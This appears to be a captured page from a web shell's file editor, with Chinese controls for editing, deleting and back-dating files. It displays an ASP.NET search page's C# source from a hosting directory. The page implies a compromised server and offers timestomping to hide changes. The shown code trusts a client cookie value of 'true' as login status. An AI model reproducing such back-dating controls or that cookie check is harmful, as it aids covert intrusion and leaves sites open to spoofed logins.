文件操作 - index.aspx.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\index.aspx.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class Home : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { if(!IsPostBack) { DDLCategory.DataBind(); //HttpCookie loginCookie = Request.Cookies["Login"]; //if (loginCookie != null) //{ // string status = loginCookie.Values["Status"]; // if (status == "true") // { // loginLink.InnerText = "Logged In"; // } //} if (Request.Cookies["Login"] != null) { string status = Request.Cookies["Login"].Value; if (status == "true") { loginLink.InnerText = "Logged In"; } } } } protected void BtnSearch_Click(object sender, EventArgs e) { string Category = DDLCategory.SelectedValue; if (Category == "All") { Category = "%"; } string Name = "%" + txtSearch.Text.Trim() + "%"; if(Name != "%%") { Category = "%"; } SqlDataSource1.SelectParameters[1].DefaultValue = Category; SqlDataSource1.SelectParameters[0].DefaultValue = Name; GridView1.DataBind(); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件